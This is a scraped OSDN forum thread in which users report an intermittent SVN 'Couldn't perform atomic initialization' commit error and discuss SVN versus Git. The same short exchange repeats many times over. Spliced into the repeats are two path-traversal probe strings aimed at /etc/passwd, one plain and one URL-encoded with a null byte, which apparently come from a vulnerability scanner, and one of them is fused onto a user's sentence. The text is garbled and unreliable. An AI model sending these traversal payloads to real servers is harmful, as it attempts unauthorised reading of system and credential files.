https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
redirtest.acx
/../..//../..//../..//../..//../..//etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
